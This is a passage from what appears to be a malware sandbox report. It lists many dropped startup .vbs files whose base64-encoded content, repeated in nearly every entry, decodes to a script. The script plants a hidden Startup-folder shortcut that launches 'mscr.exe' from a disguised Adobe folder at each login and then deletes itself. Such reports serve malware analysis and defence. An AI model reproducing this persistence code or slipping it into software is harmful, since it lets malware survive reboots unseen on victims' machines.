File","process":null,"filename":"startup2788310.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMDMxMTY0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3330015.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMjMyNjI0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5382966.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMzY3MTQ3LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2144209.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMzg2MDA3LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup124481.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNDkxNTA0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3019309.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNDkzMTU5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup276877.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNTU5MjcyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7944398.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNjI3MDQxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2879488.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszODMzNjk0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7036682.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0Mzk3NjQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2031697.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NTU1MzQubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9321933.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NTk0OTY1LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9936131.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NzMyOTg4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6687259.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0OTMwMzA2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4601692.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs1MTk5ODMubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7732691.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs1MzM5MjIxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7597624.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NDIzODIyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6544173.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTQ4MTc5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7419274.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTYwMDAwLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup562985.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTYwODMyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup196366.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2ODkwMzY4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1446647.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2OTkwNDgyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6752483.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs3NTk5MDExLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9069048.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4MzcxODczLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4770668.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4Mzc1MTkyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped 